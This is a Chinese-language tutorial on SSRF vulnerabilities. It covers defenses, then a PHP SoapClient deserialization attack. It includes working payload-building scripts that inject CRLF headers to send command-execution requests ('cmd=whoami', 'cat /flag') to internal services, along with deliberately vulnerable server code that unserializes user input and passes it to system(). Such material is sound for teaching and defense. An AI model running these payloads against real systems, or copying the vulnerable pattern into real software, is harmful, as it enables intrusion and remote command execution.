SSRF漏洞原理与防御实践
一、基础概念
SSRF(Server-Side Request Forgery,服务端请求伪造)是攻击者通过构造特殊请求,诱导服务端向内部系统发起请求的安全漏洞。典型场景是攻击者利用应用功能访问外部网络不可达的内网资源,如数据库或管理接口。
二、典型风险
历史案例中,WordPress的pingback接口曾因未过滤用户输入的URL,导致攻击者通过XML请求触发远程命令执行。此类漏洞可被用于内网端口扫描、数据窃取或横向渗透。
三、核心防御策略
- 严格限制可访问的URL范围(如白名单机制)
- 禁用危险协议(如file://、gopher://)
- 对输入进行URL规范化处理
四、SoapClient攻击向量解析
PHP的SoapClient类在调用不存在的方法时会触发__call()魔术方法,该方法会自动向location指定的地址发起SOAP请求。
攻击利用示例:
$client = new SoapClient(null, [
'location' => 'http://internal-service',
'user_agent' => 'test' . "\r\n" .
'Content-Type: application/x-www-form-urlencoded' . "\r\n" .
'Content-Length: 20' . "\r\n\r\n" .
'action=execute&cmd=whoami'
]);
$serialized = serialize($client);
echo urlencode($serialized);
当服务端反序列化后调用->execute()时,实际会向http://internal-service发送构造的POST请求,其中Content-Length和请求体被成功注入。
五、实战案例
案例一:反序列化SSRF利用
目标环境:
- 服务端端口:8888(接收序列化数据)
- 目标端口:2555(执行命令)
关键代码:
// 服务端接收点
$payload = unserialize($_GET['data']);
$payload->fetchFlag();
// 目标执行点
if ($_POST['action'] === 'execute') {
system($_POST['cmd']);
}
攻击脚本:
$target = 'http://localhost:2555';
$post_data = 'action=execute&cmd=cat /flag';
$headers = [
'X-Forwarded-For: 127.0.0.1',
'Cookie: session=abc123'
];
$client = new SoapClient(null, [
'location' => $target,
'user_agent' => 'test' . "\r\n" .
'Content-Type: application/x-www-form-urlencoded' . "\r\n" .
'Content-Length: ' . strlen($post_data) . "\r\n\r\n" .
$post_data
]);
echo urlencode(serialize($client));
通过反序列化触发SoapClient::__call(),将攻击者构造的HTTP头和请求体注入目标服务器,实现内网服务的SSRF攻击。